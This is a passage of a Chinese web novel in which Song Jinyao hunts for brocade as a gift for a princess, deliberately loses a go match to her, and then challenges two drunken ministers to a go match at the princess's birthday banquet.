宋锦瑶轻轻“嗯”了声:“所以你是想让我帮你挑料子吗?可我并不知道公主的尺寸。”
听闻此言,宋锦初立马抬头眼睛闪闪发光,确认道:“真的吗?阿姊你真的愿意帮我吗?公主差不多和阿姊一样,按照阿姊的尺寸来就行。”
不真还有假?她就这么一个弟弟,当然得宠啊。
宋锦瑶轻笑点头。必须让弟弟事业爱情双丰收,只希望期间别出什么岔子。
17. 017
翌日一大早,宋锦瑶便带着小厌去布料店瞧瞧。
因为是给公主准备的生辰礼物,当然不能有丝毫马虎,得找到整个京城内最好的料子,才能衬托出公主的高贵。
可一上午的巡查下来,除了几家勉强过关,其他的都不尽人意。
两人愁眉苦脸坐在饭馆旁,打量着过往的行人,不由得深深叹了口气。
小厌察觉到宋锦瑶眼底的失落,安慰道:“小姐要是在京城找不到喜欢的料子,我可以替小姐去城外瞧瞧。”
宋锦瑶撑着脑袋,刚想开口说话,不料被旁边的小二听见,赶忙将盘子放桌上,笑呵呵道:“客人这是在寻找上等布料吗?我知道有家百年老店,他家只给皇室人制衣,布料可是京城数一数二。”
听闻此言,她到是来了兴趣,连忙追问道:“可否告知是哪家吗?”
小二没有说话,朝着宋锦瑶缓缓伸手,示意要打听就得多付钱。
小厌见状立马来火气,气鼓鼓地瞪了眼店里的小二,本想开口吐槽,却被宋锦瑶及时拦下。
她将银两递给小二手上后,对方果然乖乖坐在她们身侧,一脸欢喜的模样,让小厌看得甚是恶心。
小二凑近宋锦瑶耳边,低声道:“往前走到头就能瞧见,姑娘你别看他招聘老,里面的人可是整个大昭最为显赫的裁缝,要是没点身份都不能进去。”
小二笑脸盈盈起身,继续道:“听闻最近老板从西域进了一大批上等货,要是姑娘来得及,正巧能找到心中绝美布料。”
宋锦瑶看着那双真诚的眼睛,思索片刻后,决定前去一探究竟。
正如他所言,那家店铺果然在京城格外有名,路过的行人无不意外都在讨论。
还没等宋锦瑶走进,老远便望见布店门前乌泱泱挤满人群,招聘上写着京城赫赫有名的“绣裳坊”三字。
挤在人群的女子们言语间全是夸赞,表情也流露出期待。
对比周围清冷环境,布店前全是烟花爆竹痕迹,证实这家店铺的生意兴隆。
掌柜站在门口,笑脸呵呵朝着底下的人喊去:“大家不要急,今日绣裳坊全部更新上等布料,人人有份,先到先得!”
此言一出,底下全是欢呼声,直到掌柜将店铺门打开,示意营业开始,女子们全都蜂拥而上。
宋锦瑶和小厌相互对视,紧随其后上前查看。
绣裳坊是京城最为宏达的布衣店,且不说招牌悠久好评不断,光是专为皇室制衣这一点,就能打败同行一半。
这里无论是服务态度或布料展示都让人眼前一亮,甚至能自己参与衣服设计。
宋锦瑶前脚刚抬进去,后脚就有店员跟上,只要她目光停留在一处很久,店员立马现身讲解布料来源以及舒适度。
她从前厅逛到正厅,路过的布料也让她打开这里的新大陆,每件衣裳上竟能把图案、刺绣和纹饰都刻画得栩栩如生。
耳边传来店员讲解的推荐声,宋锦瑶仔细扫视着这里每件布料,直到目光落在正厅中央,一件被保护起来的布料上。
那是一件云锦布料,面料柔和光泽,花纹细腻且精巧,其颜色鲜艳给人强烈的视觉冲击。
宋锦瑶站在原地看着眼前绝美精致的布料,心想着,这简直就是送公主最好礼物啊!她今日势必要拿下。
她立马询问店员这块料子可否售卖,但店员表情却有点苦涩,店员左右环视一圈,确定周围没什么人后,才低着声音说道。
“小姐,这件料子已经被皇室的人预选了,店里还有其它上等布料,你要不再多瞧瞧?”
皇室的人?
宋锦瑶心中猛地一沉,望着眼前绝美的云锦料,她越想越不甘,除这料子以外,她再也没找到过如此适配公主的布料。
所以她只能选择赌一次。
宋锦瑶询问道:“能否询问是皇室哪位大人吗?”
话音刚落,云锦布料面前走来一大波人群,紧接着,为首掌柜满脸喜气洋洋地招呼周围客人。
掌柜乐得嘴巴都合不上,使劲冲中间女子介绍云锦布料。宋锦瑶站在一旁,无意间听到他们之间的对话。
“公主,我们可是花了好大精力,制造出这云锦布料,瞧瞧这色泽和质地,我敢保证是整个大昭最为华丽的布料。”
等等,公主?
宋锦瑶瞬间愣在原地,满眼不可置信地看着眼前女子。
这位公主气质高贵,姿态优雅,实在令人瞩目。
但皇室不可能只有一位公主,万一她并不是帮助宋锦初那位公主呢?是不是还有一线生机?
公主没有说话,脸上写满疲倦,她轻轻点头表示同意,随后便转身离开,掌柜有眼力见立马安排人护送公主,众人也连忙搀扶着她。
见人想走,宋锦瑶鼓起勇气快步走上前,吓得身旁店员惊慌失措去阻拦,但正好与她交错没制止住。
宋锦瑶朝公主端端正正行礼,垂着头不敢去看周围人的目光,语气严肃道:“见过公主,小女乃御史大夫之女宋锦瑶,瞧见公主买下这块云锦布料,可否寻问公主能将这块布让给小女吗?”
此话一出,顿时整个绣裳坊引来周围人异样眼光。瞧见店里人停下手上动作,一副好奇目光投向这边,怕公主生气,掌柜紧蹙眉头,大声斥责道。
“大胆!御史大夫之女也敢拿公主看上的布料?我看你是不想活了?”
还没等他讲完,立马被公主身侧的丫鬟打断。
丫鬟扶着公主,冷眼斜看着她,满脸不屑道:“知道公主要拿这身衣裳干什么吗?就凭你也配?”
宋锦瑶弯曲着身子,恳求道:“小女知晓此事过于唐突,但小女实在是需要这块布,还请公主谅解。”
看她一副听不懂的样子,丫鬟火气一下子就上来了,还想继续开口训骂,被公主及时制止。
公主淡然地看着宋锦瑶,轻笑道:“御史大夫之女,本宫认得你,你弟弟便是新上任的待御史吧?”
明明是一句很简单的话,却让她整个人僵在原地。
不会吧,这位公主当真就是帮助宋锦初的人?她怎么可以倒霉成这样?
这下,宋锦瑶身子弯得更低,含糊应道:“嗯。”
公主丝毫不在意,甚至在知晓她身份后,原本疲倦的脸上泛起一丝兴趣:“听闻你棋法不错,不仅战胜数人,还说扬言说这世道的不公,本宫很佩服你的勇气,就像现在一样。”
公主垂眸看着她,笑道:“宋锦瑶,将头抬起来,让本宫好好看看你。”
闻言,宋锦瑶缓缓抬头望向一身华丽的公主,对上她那双混沌的眼睛,公主不禁感到一阵唏嘘:“真不愧是一家人,个个都了得。”
盯着那张脸,公主有一瞬的惊愕,好似在透过她看另外一人:“宋锦瑶,大昭极其看重围棋,而你是为数不多扬言女子也能成为围棋师的人,如果你真心想拿取这块布,不妨与本宫对弈一番。”
“
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要是你赢了,这块上等云锦布料本宫便送给你。”公主饶有兴趣地看着宋锦瑶,话锋一转继续道,“但要是本宫赢了,你便进宫,视为本宫独属的围棋师。”
话音刚落,在场所有目光停留在二人之间,个个脸上写满不可置信,就连公主身侧的丫鬟也让她三思。
如果只单单靠自己的力量让世人知晓女子也能下围棋,未免也过于渺小,不如抓住这次机会,用朝廷的权利告知天下世人。
女子执棋,亦能展巾帼智慧,赢万众民心。
况且这次对弈无论是输是赢,她都不亏。
宋锦瑶望着那双眼眸,忍不住跟同公主一起哼笑声,丝毫没有犹豫一口答应。
“好啊,那小女便听从公主安排。”
回去的路上,小厌围在她身侧急得心里七上八下,反光宋锦瑶一副胜券在握,安如泰山。
她欲言又止,憋了一路的话,最后还是忍不住说出口:“小姐,你明知最近朝廷不太平,为何还要答应公主!”
这话还真把她问倒了,左思右想回道:“小厌,当你想改变现状但又没得选时,只有以身犯险才、逆流而上才能闯出一丝希望,胜到最后,这是我祖父教我的。”
说完,她便扬长而去,留下小厌一人愣在原地,半响,她才反应过来,赶忙朝宋锦瑶喊去。
“小姐你又唬我!小姐出生时,家中祖父早就不在了!”
黄昏渐渐弥漫这整片天空,枝头的鸟雀也全都回巢,整个街上空荡荡,只有御史府灯火通明,门前站着位男子,高高马尾扬在半空中,似乎在等待着谁回来。
瞧见宋锦瑶的身影出现在眼帘,宋锦初连忙跑上去询问今日状况,得知宋锦瑶在绣裳坊遇到公主,而且还被公主下战书后,他脸“刷”的一下黑了不少。
“为什么?公主为什么会邀请你进宫?”他的脸上闪过不解,甚至眼底多了丝懊悔,“对不起阿姊,早知如此我就不麻烦你了,害你今日受他人冷眼,害你深陷沼泽。”
宋锦瑶顺了顺他的头发,安慰道:“没关系,你不必懊恼,正巧这也是阿姊想要的结果。”
他深知宋锦瑶自从傅府退婚后,整个人好似变了,但从未想到过她有一天会触碰到朝廷之人,这次更是有可能进宫。
宋锦初不明所以对上她的眼睛,最后还是不放心,强硬道:“你可以和公主对弈,不过我也要去,我要亲眼看看阿姊的棋艺!”
宋锦瑶呦不过他只好点头同意,瞧见对方郁暗的神色一下子明亮开来,她忍不住轻笑出声。
公主的对弈比赛设在两日后的宫中,还没开始比赛,宋锦初就将宫里的规矩全都讲述无数遍,生怕她被其他人骚扰,急得他恨不得让宋锦瑶干脆爽约。
知道他在关心自己,宋锦瑶唯一能做的便是不断安抚他,直到对弈当日,宋锦初誓死也要将她亲自护进入公主府。
可万事开头难,公主严厉声明只有宋锦瑶才能进入,纵使他如何不甘,最终只能欲哭无泪停在府外,千叮万嘱让宋锦瑶一定要输,能明演就不要再使小心思。
宋锦瑶口头答应,心里早已有了自己的打算。
从抬进公主府的一刹那,一道淡淡的花香弥漫在鼻尖,她跟着下人一路走到花园内,一眼便瞧见公主端端正正地坐在亭子中。
她没有回头去看宋锦瑶,自顾自伸手抚摸着桌上的鲜花,察觉到周围动静,她才温柔地缓缓开口道。
“好久不见,宋锦瑶。”
18. 018
公主府坐落在宫中一处庭院内,因常年远离街道喧嚣而落得府内寂静。
宋锦瑶一路走来,敏锐察觉到周围环境状况,无论是廊上还是亭子里,无一例外全摆满各种鲜花。
她朝公主弯腰行礼,随后坐在对面相互寒暄。
公主注意到她眼底泛起犀利的目光,轻轻含笑询问道,“宋锦瑶,可知本宫今日召你进宫所为何事?”
宋锦瑶不明所以地摇了摇头,公主继续说道:
“你可晓得,在一群懵懂愚昧的羊群里,若突然冒出一只清醒的羊,那些愚钝者不会视其为人性觉醒,反倒会费尽心思将这异类铲除。”
见她若有所思,公主便也不再藏着掖着:“换句话说,关于你的事情,已经在朝廷内闹的沸沸扬扬,到时候他们肯定会想尽办法处理掉你。”
“所以,宋锦瑶,只有让你暂时待在本宫身边才不会有危险。”
闻言,她脸上闪过一丝惊愕,随后察觉到不对劲,立马开口道:“我与公主素不相识,公主却能如此保护我,无论怎么看,也没有理由让公主以身试险,而且也说不过去。”
话音刚落,公主意识到她并不是能随意含糊过去的人,便忍不住低头轻笑:“宋锦瑶,你果然和他说的一样呢。”
他?
公主将茶杯推到她面前,轻声细语道:“猜得没错,我确实没理由帮你。”突然,她话锋一转,“那能怎么办,这可是王爷亲自让本宫帮的忙啊。”
宋锦瑶:“……”
这位公主不仅是帮助宋锦初的恩人,还是王爷青梅竹马的情人。
“怎么了?你脸色看起来好像不太好?”公主好奇地打量着宋锦瑶,满脸一副八卦神色,“话说你跟徐……”
话音未落,吓得宋锦瑶赶忙打断,语气略显慌张:“公主…我们开始下棋吧。”
见她反应这么大,公主不禁愣在原地半秒,随后意味深长地点头。
棋盘早已备好,黑白棋子整齐排列。
宋锦瑶抬眸间,瞥见公主微微扬起下巴,眼神中透露出对棋局的一丝期待,并不像是位常年下棋之人。
开局,宋锦瑶执黑子先行,她落子稳重,不敢有丝毫懈怠,决定先抢占棋盘。
反观公主,落子却有些随意,明明每次落子表现出气势汹汹模样,实则上毫无章法,甚至只是一味的堵她。
宋锦瑶微眯着眼睛打量面前棋局,心中越来越感到疑惑。
公主这棋路怎么这么生疏?该不会是故意示弱,特意引她入局?
于是她愈发谨慎,不敢有丝毫懈怠。哪怕她不懂公主具体想干嘛,但留意一下较好。
几轮过后,宋锦瑶脸色越来越黑,看着面前公主的白子,竟一半全是废子,不仅布局松散,完全没有高手对弈时的步步为营。
不会吧,公主不会下棋!?
那她为什么要邀请自己对弈?为什么要让她进宫?为什么要特意布置这一局?
好像全是为了完成徐颂祁的请求……
那她要不要赢?要是赢了,不就是顺了他们意思吗?但要是不赢,她不就连小命都不保了啊!
宋锦瑶手中一顿,心中瞬间跑过十万个为什么。
见她一直不落棋,公主满脸好奇地抬头看向她,关心询问道:“怎么了?从一开始你的脸色就不太好,是不是身体不舒服?”
宋锦瑶强忍着随时崩溃的情绪,摇头回道:“没…公主我没事,我现在好得很。”
两人继续对弈,她察觉到公主乱下的棋法,面上不动声色,依旧恭敬应对,只是在落子时,悄悄放缓攻势,偶尔还故意露出些破绽。
直到公主顺着宋锦瑶计划,精准无误下到她特意暴露的破绽中,顿时高兴得拍手叫好。
“公主这一步下得精妙。”
宋锦瑶满脸微笑夸赞,手中黑子却轻轻落在一处无关紧要之地,将大片“疆土”拱手相让。
听闻,公主嘴角勾起一抹笑意,好似对宋锦瑶的“识趣”颇为满意,落子的速度随之变发快起来。
随着时间流逝,宋锦瑶心思百转。她早明白,今日这棋局胜负早已不重要,公主想要的是赢,是想在徐颂祁面前保住颜面,让他开心。
而自己身为一个炮灰,自然不敢插足两人之间的关心。但如果太明目张胆地输掉,又怕被公主瞧出端倪,认为她看不起对方实力。
宋锦瑶轻蹙眉头,一面不留痕迹引导棋局走向,让公主的“胜利”看起来不那么轻而易举,一面还要假装苦思,时不时,做出艰难抉择表情。
直到最后,宋锦瑶特意卖个了破绽,一子落下,直接将自己一块关键棋阵陷入绝境。
瞧见此局,公主眼睛瞬间一亮,毫不犹豫挥子截断,脸上写满即将获胜的得意。宋锦瑶也松了口气,面上还要做出十分后悔的神色。
公主止不住开心,眼神扫向周围侍奉的宫女太监,一脸炫耀道:“你们都瞧见没!本宫这步可是走得一绝,看来今日这局,本宫是赢定了!”
宋锦瑶欠身行礼:“公主聪慧过人,臣女技不如人,甘拜下风。”
她的话语谦逊,只有公主身边的佣人,一眼便看出宋锦瑶在放大海,心里满是无奈。
就在众人以为棋局已定时,宋锦瑶却在收官阶段,暗中发力。她用几枚看似不起眼的残子,悄无声息筑起一道防线,既不让公主察觉异样,又护住自己最后的体面。
倘若有心人想复盘,也只会夸赞她虽败犹荣,而不是刻意放水。
棋局结束,公主胜得心情大好,言语间竟显高兴:“宋姑娘果然棋艺不凡,今日这盘棋,本宫尽兴得很,改日还要再与你切磋!”
宋锦瑶恭敬回应道:“能与公主对弈,是臣女之幸,公主若有雅兴,臣女随时候命。”
微风起,吹得周围花草摇摆。
公主难得高兴一回,这越看宋锦瑶越觉得顺眼,便决定护送她出公主府。
两人相互笑着讨论那盘棋局,刚走出府门,一眼便瞧见宋锦初无聊得靠在墙上,猜到是宋锦瑶过来,他没好气吐槽道:
“阿姊你真的太慢了,我记得你不是下棋分分钟秒杀所有人吗?”
言罢,他随意抬头望去,映入眼帘便是公主一副瞪大双眼的神情,甚至他们对上视的那一秒,两人同时愣住。
宋锦瑶瞧见两人脸上惊愕的表情,顿时感到头疼,注意周围还有旁人,连忙轻咳声提示下那两人。
公主率先反应过来,她连忙撇过脸,神情显然很不自然。
而宋锦初也没好到哪里去,他脑子跟不上身体,连鞠躬行礼的手势都打错。
“见过…公主,臣刚刚一时糊涂,此话并不是在说公主。”宋锦初低着头不敢去看她,恨不得找个地洞钻进去。
公主没多说什么,含糊两句便匆匆离去,直到府外彻底没了身影,宋锦初才松了口气,抬头无辜地看着宋锦瑶。
回府路上,听到她讲述事情的来龙去脉,宋锦初火气上来,甚至不可置信的摇了摇宋锦瑶。
“你说什么!你居然让公主赢了?而且公主还邀请你参加生辰宴?”宋锦初气得胸膛起伏巨大,“我跟你说了那么多,到最后你居然是心甘情愿?”
宋锦瑶不断安抚他这颗小心脏,试图强词夺理道:“不是我心甘情愿,公主说是朝廷上的人想要我命,我这是自保。”
宋锦初气不打一处来:
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“可你要是真的待在公主身旁,不就是自投罗网吗?那里才是真正的狼窝。”
确实有点道理。
宋锦瑶心虚地打量着宋锦初那张温怒的脸庞,连忙安抚道:“别生气了嘛,我都已经答应公主了,也不能出尔反尔。”
他低头垂着脑袋没有说话,直到马车内又恢复一片死寂。
“阿姊,你根本就不懂我在想什么。”良久,他一个人坐在那里,语气有些酸涩,默默说道,“我从小就很看不惯那些欺负你的人,看到他们欺负你我就很生气。”
“那时我就在想,等我长大就能保护你,可我错了。我赴命前去外地,越见证朝廷的黑暗,越是害怕。我害怕你也跟他们一样,任人宰割又毫无反手之地。”
“当今天子昏庸,身侧美女如云,太子年纪尚小,任人摆布。我不求荣华富贵,只求你能平平安安,可你也要深陷其中,我真的不知道该怎么办了。”
他的身子止不住颤抖,说的每句话好像都在谴责自己无能为力。
他在害怕,害怕自己只能眼睁睁看着宋锦瑶一人朝黑暗走去,害怕他再也无法保护好她,害怕她不能留在自己身边。
“我不要达官显赫,我只想让阿姊平安喜乐……”
宋锦瑶垂眸看着眼前的人没有说话,下一秒,她伸手抱住宋锦初颤抖的身子,轻轻拍了拍他的身后安抚道:
“我知道你在担心阿姊,但阿姊不怕,阿姊只希望你和阿爹能够健康长寿。”
因为她早已经死过一次,再死一次又何妨。只不过她不想连累任何人,哪怕是眼前这个家人。
黄昏的天空将整个王宫披上一层琥铂色,为了庆祝公主的生辰,宫殿上下早已经焕然一新。
公主身着凤仪万千的华服,端立在宫殿高价之上,俯瞰这下面前来贺寿的达官显赫。
长案上摆满佳肴,中央初宫廷乐师奏响萧笛声悠悠扬扬,低下的各品官员乐得笑呵呵。
宋锦瑶一脸冷漠地看着那些官员,他们表面和声和气笑脸盈盈,背地里要是敢触碰自身权益,恨不得派人去对方府里下药。
生日宴一眼望去全是敦煌华丽景色,可往往是如此,里面早已经腐败不堪。
她自然感到无趣,和宋锦初打声招呼便独自出去透透气。
出了宴场,外面竟格外安静,宋锦瑶正打算去周围转转时,不料廊外传来一阵阵脚步声。
下一秒眼前便出现一大批军兵,为首的头子停下脚步扫了眼宋锦瑶,不禁眉头一锁。
头子知道她是公主的人,瞧见她不好好待在公主身边,而是自己出来,毫不客气提醒道:“今日宫殿宴会,会有不少刽子手出现,还请宋小姐快点回去较好。”
刽子手?好像确实喜欢在皇室聚会时趁火打劫。
宋锦瑶没有说话,轻轻点头示意,军兵头子瞧见后这才能离去。
她深呼一口气,正准备转头回去时,无意间看到不远处树后面传来一道声音,随后竟然从后面走出来一直小猫。
宋锦瑶心里顿时泛起不安,本能的害怕让他不敢靠近,但这小猫咋越看越眼熟?
她半眯着眼睛望去,可惜天太黑,根本看不清小猫具体长什么样,为了查证自己内心的想法,她只能提心吊胆朝那边走去。
刚走到树边,她鼓起勇气猛地朝树后望去,空无一人。
自己吓自己。
宋锦瑶顿时松了口气,见小猫还在不断蹭自己脚边,本想蹲下身去抚摸,不料下一秒,她突然听到什么东西从树上跳下来。
紧接着,还没等她反应过来,一道锋利的刀刃抵在她的脖颈处。
不会吧?万分之一的概率也能被她碰到!?
19. 019
闷热的夜晚,让人感到些许烦躁,但此刻泛起的凉风,却带着刺骨的寒意。
宋锦瑶呼吸一滞,瞬间被吓得站在原地不敢乱动,四周寂静得可怕,只有小猫低微声音在空气中回荡。
她下意识地咽了口气,恳求道:“大哥,别杀我,我只是想来逗一下小猫,我保证不会告诉任何人你在这的。”
闻言,对方冰冷地垂眸打量着宋锦瑶,犹豫半响,居然真的收回刀刃。
宋锦瑶察觉到对方并无杀意,悬着的心这才缓缓放下。
本来宋锦瑶是打算遵守承诺,可还是没忍住好奇,悄悄转头朝那人身上瞥了一眼。
是他?
宋锦瑶目不转睛地盯着对方看,意识到是上次在山匪窝里的黑衣男子,她不禁眉头一锁。
“哪个……”宋锦瑶略显一丝不好意思,悠悠开口道。
“你就是上次的黑衣人吧?今日是公主的生辰宴,宫殿军兵看管森严,你还是早点回去吧,千万别被他们抓住了。”
话音刚落,黑衣男子明显一愣,他缓缓抬头,不明所以地对上宋锦瑶那双清澈的眼睛,眼中闪过一丝复杂情绪。
知道他不会听取,宋锦瑶赶忙上前一步,认真道:“我知道你们刽子手靠杀人抢夺活命,但今晚……”
话还没讲完,黑衣男子率先走上前,他明明眉眼间全是冷漠,可说出的话却意外柔和。
“明知道我的身份还关心我,宋锦瑶,你就这么想和我同流合污吗?”
黑衣男子瞧见她呆愕神色,轻笑声:“快回到公主身边吧,外面太危险了。”
言毕,还没等宋锦瑶开口询问他的伤势,便毫不犹豫转身离去。
到底谁在关心谁啊,而且她怎么可能和一个刽子手同流合污。
你不想活命,她还想多活几年呢。
宋锦瑶没好气地低声吐槽,回过神来,本想继续逗逗小猫,却发现不知何时猫咪也已经离开,只剩下她一人站在这寂静的角落。
再次回到宴会上时,宋锦瑶被眼前场景震惊到。
底下的各个官员早已喝得烂醉如泥,他们相互挑逗着身边的美人,完全不顾及这是公主的生辰宴,也丝毫不在意自己的形象。
宋锦瑶抬眸望去,一眼便瞧见为首的皇帝坐在高阶上,早已躺在美人的怀里,眼神迷离,一副昏庸之态。
放眼望去,整个宴会不但没有太子的身影,连同徐颂祁也不在,只剩下公主一个人孤零零地坐在上面。
与公主对视的瞬间,宋锦瑶甚至透过眼神看出她的无措。
眼前这幕,简直和宋锦初说的没错。
朝廷腐败不堪,皇帝昏庸无能,太子心智不熟,公主又是女儿身,难以在这朝堂之上有所作为。
难怪整个社会都透露出极度的不公对待,就是因为有这些蛀虫在腐蚀着国家的根基。
宋锦瑶没有丝毫犹豫,快步朝公主走去。
经过每一处大人身边时,听见到从官员口中说出恶心的话语,让她又增添几分厌恶。
“公主,我来了。”宋锦瑶礼貌端正地朝公主行礼,抬头对上公主双眸时,竟察觉到她眼中有一丝委屈。
公主微微点头,轻声询问道:“宋锦瑶,你刚刚去哪了?”
她还没来得及回答,突然有两个官员满身酒气地站在她们面前。
他们醉醺醺地勾肩搭背,朝坐着的公主喊道:“公主,今日生辰宴可办得风光,人人知晓大昭以‘围棋’为美,今天我必须得和公主对弈一番,公主可赏臣一个脸?”
宋锦瑶认得他们两人,一个是户部尚书赵崇,一个是刑部尚书李朗。
从宴会开始,她就注意到这两人的眼睛不断在公主身上打量,那副痴汉相让她极为反感,要不是碍于身份之差,她真想好好教训他们。
公主看都没看他们一眼,好似早就习惯这种生活,可对方却不想就此放弃。
见公主没理自己,户部尚书赵崇醉得不省人事,竟直接敢朝公主伸手,言语中还带着不甘:“公主这是不给臣脸面?”
真是倒反天罡。
就在他的手快碰到公主的瞬间,宋锦瑶果断将他咸猪手打断,眉头紧锁,眼神透露出愤怒。
她握紧拳头,恶狠狠瞪着两人,大声斥责道:“大胆!公主岂是你们能随意触碰的?你们不想要脑袋了吗?”
“掉脑袋?”
话音刚落,两个尚书相互对视一眼,好像听到什么天大笑话,忍不住大声笑起来。
户部尚书李朗满脸不屑地朝不远处的皇帝大声喊去:“陛下,臣想在公主生辰宴上与公主对弈,来展现大昭之美,可否允许?”
此时的皇帝正睡在好几位美人怀里,早已不省人事,恍惚间听到这话,眼睛都懒得睁开,缓缓回道。
“爱卿随意对弈,朕快不行了,朕好像到天国了。”说完,便彻底在美人怀里昏死过去。
宋锦瑶:“……”
真是疯了。
瞧见这一幕,刑部尚书赵崇扶着身边的李朗肩膀,笑得眼泪都快流出来。
他指着宋锦瑶,挑衅道:“话说你谁啊,也配和我们说话,依我看不想要脑袋的是你吧?”
户部尚书李朗仔细眯着眼睛观察宋锦瑶半天,才终于想起来,他连忙打断赵崇的话,说道。
“这不是御史大夫之女宋锦瑶吗?咋滴?一个傻子竟也能参加公主生辰?该不会是偷摸溜进来的吧?”
听他这么一说,赵崇赶忙接过话题:“指不定是靠什么手段爬上来的。”
言毕,两人又肆无忌惮哈哈大笑起来。
“放肆!”公主再也忍不住他们这种无礼的行为,赫声斥责道:“宋姑娘是本宫的人,岂是你们随意诋毁!”
此话一出,两位尚书顿时愣在原地,显然没料到这女子竟能让公主如此生气,脸上嬉皮笑脸也瞬间消失不见。
“公主别生气嘛,我们只是单纯想和公主对弈一番,别无居心。”
嘴上说着别无居心,表情早已按耐不住那副恶心面孔,真是让人厌恶至极。
见他们如此死缠烂打,显然知道公主的围棋实力,摆明是想让公主在生辰宴上出丑,好彰显他们的厉害。
公主自然知道他们心思,但顾大局只能妥协问道:“赌约是什么?”
听到这话,两位尚书脸上立马浮现得意笑容:“这又是哪里话,我们只想让公主陪我们喝一杯,仅此而已。”
可真就这么简单吗?
宋锦瑶没有说话,注意到公主微微发抖的身子,心里越来越替她打抱不平。
上一秒,她还在恶狠狠地瞪着两位尚书,下一秒,回头与公主对视的瞬间,嘴角立马扬起淡淡苦笑。<
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p>“公主不要怕,请相信我。”
宋锦瑶轻声对口型朝公主说去,神眼中流露出一丝安慰。
她快步走上前,挡在他们与公主中间,目光锐利,脸色凝重道:“两位大人真是抱歉,公主今日宴会已经乏了,可否让我替公主与大人对弈一番呢?”
户部尚书李朗嗤笑一声:“宋锦瑶,我们邀请的是公主,而不是你,你该不会把自己放在与公主一同线上的人吧?”
“臣女不敢。”宋锦瑶眼中收起轻蔑,话锋一转,继续道,“但替公主打败大人还是绰绰有余,大人莫不是怕了才不敢与臣女对弈?”
受酒精影响,刑部尚书赵崇被她这么刺激下,一下子火气就冲上来,他鄙视地打量着宋锦瑶,满脸不屑道。
“怕?我的字典里从来没有‘怕’这个字,宋锦瑶,你不就进了皇室学堂一次吗?可把你牛的,看我今天不把你打得落花流水,一辈人也没人要。”
他们之间的争吵早已经响彻整个宫殿,周围官员纷纷停下手上的美酒美人,目光全落在高阶上的四人。
低下的宋父瞧见眼前一幕,整个人急得差点没昏过去,他本想冲上去将宋锦瑶拽下来,却不料被宋锦初眼疾手快死死摁在原地。
宋父一脸震惊地回头看向宋锦初,却见他根本不敢去看此刻宋父那双眼睛。
宋锦初摁住宋父的手止不住发抖,整个人因害怕不敢睁开眼,额头逐渐冒出细密冷汗,嘴里不断重复着祈祷的话。
如果可以,他也很会毫不犹豫冲上去保护她,但现在不行,因为他答应过宋锦瑶。
此时,整个脑海中不断回响起几日前,宋锦瑶告诉自己的话。
“锦初,公主生辰宴不可能会顺利完成,我需要你帮我安抚好阿爹,至于其他的你不用管,请放心让阿姊一人完成吧,就当相信阿姊好吗?”
“好,我相信阿姊,如果是阿姊的话,一定能平安无事。”
高阶上,李朗目中无人地往后瞥了眼公主,语气多了丝趣味:“公主,你当真愿意把自己名誉放在一介傻子身上?”
有了宋锦瑶帮自己撑腰,公主不再像最开始那样能忍就忍,语气反而多了一些权威:“本宫说了,宋姑娘是本宫的人,辱她就是辱我!”
见公主摆明想要宋锦瑶上阵,作为尚书的两人自然感到一丝紧张,但无论如何她也只是个女子,强又能强到哪里去?
刑部尚书赵崇忍不住大笑出声,引得周围人不断在地下窃窃私语,甚至有人看热闹不嫌事大,竟然让宋锦瑶输了去当家奴。
“宋锦瑶,事情闹得这么大,要是输了可不好交代,不仅给公主和皇室学堂丢脸,以后让你阿爹和弟弟怎么办?”
赵崇继续放狠话道:“会一辈让人都看不起吧?哈哈哈。”
宋锦瑶自然不把他话放进眼里,听到他刺耳的笑声,胃里直泛恶心。
她冷淡地抬头看向两位尚书,毫不客气道:“我想大人也是,要是输了,可能会被人议论一辈子,最后沦为笑话吧?”
听闻此言,两位尚书被气得脸一青一紫,后槽牙都快压碎。
明明气氛如此紧张,大家都不约而同替宋锦瑶感到担忧,但她脸上丝毫没有害怕,甚至浮现出一丝轻笑。
好似一切都是计划中。
这一棋,她势必彻底打响朝廷对女子的全新看法。
20. 020
宫殿中央,原本欢快的气氛突然变得凝重。
宋锦瑶本想遵守棋盘规则,朝刑部尚书赵崇鞠躬行礼,不承想对方理都不带理自己,重重地闷“哼”一声,随后一屁股坐下。
她自然不敢多说什么,缓缓收回手,脸上依旧挂着瘆人的微笑。
开局,赵崇率先落子,黑子“啪”地一声脆响,重重落在天元,那叫一个气势夺人,吓得众人不敢吱声,摆明就是想掌控全局。
宋锦瑶淡淡地扫了眼他的落子点,脸上不慌不忙,素手轻拈白子,落在右下星位,按照往常那样布局。
周围寂静无声,大家不约而同屏住呼吸,整个堂中,只有两位尚书喝多酒喘着粗气,在此刻气氛中,显得格外突兀。
公主坐在宋锦瑶身旁,心底不安地攥紧手指,眼睛不断地打量着棋盘上的风云。
与此同时还有宋氏一府,明明对弈的不是他们,可一个个心里比宋锦瑶还要担心。
原本户部尚书李朗对宋锦瑶看法全然不屑,认为她能进皇室围棋学堂学习,全靠勾引徐颂祁上位。
但此时此刻,他目光如炬地盯着眼前宋锦瑶,看着她下棋如此谨慎,甚至步步为营算计赵崇,他才慢一拍察觉对方的棋艺,竟如此了得。
几手过后,赵崇明显感到一丝不对劲,他笑咪咪抬头望向面前的宋锦瑶,见她眉目间从容淡定,似乎根本没把他放眼里。
他表情立马严肃,黑色的眸子满是愠色。
赵崇果断使出“三连星”布局,黑子在棋盘上星位连珠,意图构建宏大棋局,控制掌握中腹空间,以优势压制对手。
宋锦瑶见状,嘴角微微上扬,利用白子灵活穿梭其中,以“中国流”应对,一边巩固边角实地,一边向外延展势力。
见她巧妙化解赵崇黑子的汹汹来势,户部尚书李朗脸色更是一沉,周围人瞧见这一幕,连忙拍手叫好。
“宋小姐好棋法,只不过刚才破局棋法叫什么?我等从未见过啊。”
“是啊,我研究围棋数年,从未见过宋小姐那样棋法。”
他们七嘴八舌讨论着,脸上纷纷闪过不解。
宋锦瑶眉头紧皱,脸上闪过不悦,她早已顾不上现在下得棋法是否合适这个朝代,一心只想将眼前之人痛揍一遍。
公主注意到她眼底的烦躁,连忙起身朝官员们静声,若再敢打扰她下棋,立马按照大昭法律处罚。
此话一出,吓得各位瞬间安静下来,甚至大气不敢出,连忙低头继续专注棋局。
中盘阶段,局势逐渐白热化模式。意识到宋锦瑶不是善茬,赵崇酒都清醒不少,整个嘴唇发白,努力寻找对方破绽。
察觉到越和她打持久战,就对自身越不利,赵崇思考良久,最后下定决心用黑子直接突击,强行打入宋锦瑶左下白阵。
宋锦瑶眉头一皱,不明白对方具体在想什么,随即立马展开反击,白子迅速靠压、扳粘,招招紧凑。
她要编织一张无处可躲的罗网,来困住对方凶狠的棋子。
